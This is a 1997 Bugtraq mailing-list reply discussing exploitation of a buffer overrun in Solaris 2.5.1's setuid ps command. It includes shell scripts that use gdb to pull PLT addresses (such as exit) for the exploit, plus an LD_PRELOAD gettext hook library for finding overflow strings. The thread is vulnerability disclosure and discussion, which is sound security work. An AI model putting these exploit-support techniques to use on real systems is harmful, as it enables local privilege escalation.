Bugtraq mailing list archives
Re: Finally, most of an exploit for Solaris 2.5.1's ps.
From: jzbiciak () DALDD SC TI COM (Joe Zbiciak)
Date: Mon, 19 May 1997 15:13:08 -0500
'Adam Morrison' said previously: | Uh, the joys of not keeping up with my mail. I've already seen your full | exploit, but I thought you might still find some interest in this. | | > I finally managed to construct most of an exploit for Solaris' | > /usr/bin/ps. This exploit does *not* use the getopt()/argv[0] hole. | > Rather, it uses the buffer overrun I isolated a couple weeks ago. I've | > sent a copy of this to Casper Dik over at Sun as well; hopefully he's | > convinced now that a proper patch for Solaris 2.5.1 is a good idea. | | The latest version of Sun patch 103612 has fixes for getopt() overrun, as | well as the ones in getpwnam_r() and getgrnam_r() and some others. Yeah, several have pointed that patch out to me; it doesn't fix the bug this exploit hits. | It may not be as unique as you think; because of the way most source code | looks like, almost any program that uses stdio(3S) has iob[] after any | variables declared in the program. Thus, this is really the cookie cutter | data buffer overrun -- it only takes more brains to use. A classical | example of this hole is in chkey(1). Well, it was unique as compared to the 1000s of "stack smash" exploits out there. :-) It does take more brains to use -- until now. The following script extracts the address for "exit" which you've left as an "exercise to the reader": --- extract_proc_link.sh #!/bin/sh cp /usr/bin/ps ./ps FOO="`cat << E_O_F | gdb ./ps | grep PROC | cut -d: -f2 | cut -d\< -f1 break exit run disassemble exit quit y E_O_F `" rm -f ./ps set $FOO foo [ -f "$1" = "foo" ] && echo "Try something else" && exit 1; echo " u_long proc_link=$2;" --- EOF A more generalized version probably would look like this (although I haven't tested it): --- extract_plt.sh #!/bin/sh # $1 == program you want to probe # $2 == procedure whose PLT entry address you want [ -z "$1" ] && echo "usage: $0 file_to_extract_from plt_to_extract" && exit 0 cp $1 ./bugger FOO="`cat << E_O_F | gdb ./bugger | grep PROC | cut -d: -f2 | cut -d\< -f1 break $2 run disassemble $2 quit y E_O_F `" rm -f ./bugger set $FOO foo [ -f "$1" = "foo" ] && echo "Try something else" && exit 1; echo "The PLT entry you want is at $2" --- EOF | You might experience problems with this approach; I don't remember the | exact difficulties I had, but essentially the dynamic loader faulted when | the first few entries of the PLT ``rug'' got pulled out from under it when | an stdio function overwrote them. Well, if you smash some of the early entries in the PLT, you end up wrecking some other calls (like mutex related stuff) which get called from deep in the bowels of the library. Out of curiosity, when did you write this "stdioflow" program? | If you don't mess with environ from within your program (instead, do a | setenv from the shell and then run your exploit) and play with your | arguments nicely, its value should not change. The real fix: use execle(), which sets environ *exactly*. :-) Then it doesn't move from user-to-user. | This gettext() trick is really something I hadn't thought of. I don't think | it should be too difficult. I will add it to my program. The "msgfmt" command builds the file for you. How nice! :-) But, to find out what string to grok, I use the following "pseudo library": --- hook_gettext.c char * textdomain(char * c) { printf("textdomain(%s)\n",c); return c; } char * gettext(char * c) { static char *s="FOO BAR"; printf("gettext(%s)\n",c); return s; } char * dgettext(char * c) { static char *s="FOO BAR"; printf("dgettext(%s)\n",c); return s; } char * dcgettext(char * c) { static char *s="FOO BAR"; printf("dcgettext(%s)\n",c); return s; } --- EOF I then compile like so: $ gcc -c hook_gettext.c $ ld -G -o hook_gettext.so hook_gettext.o And then, I use it like so: $ export LD_PRELOAD=`pwd`/hook_gettext.so Of course, you have to have a non-suid copy of the program you're buggering around so the LD_PRELOAD works. | Lest anyone say that this is a Solaris only problem, I note that the BSD | FILE structure contains function pointers, so exploiting a similar overrun | condition there would be trivial. Whee. Regards, --Joe -- +--------------Joseph Zbiciak--------------+ |- - - - jzbiciak () daldd sc ti com - - - - -| | - - http://ee1.bradley.edu/~im14u2c/ - - | Not your average "Joe." |- - - - Texas Instruments, Dallas - - - -| +-------#include <std_disclaimer.h>--------+
Current thread:
- Reminder for irix ppl Nafees Bin Zafar (May 14)
- Re: Reminder for irix ppl Mike Neuman (May 15)
- Vulnerability in Elm-ME+ John Goerzen (May 15)
- Re: Vulnerability in Elm-ME+ Kari E. Hurtta (May 17)
- Finally, most of an exploit for Solaris 2.5.1's ps. Joe Zbiciak (May 17)
- Re: Finally, most of an exploit for Solaris 2.5.1's ps. Adam Morrison (May 19)
- Re: Finally, most of an exploit for Solaris 2.5.1's ps. Joe Zbiciak (May 19)
- Interim solution for ps Joe Zbiciak (May 19)
- Re: Interim solution for ps Steven Kirby (May 19)
- The rest of the exploit is here! Solaris 2.5.1 ps! Joe Zbiciak (May 18)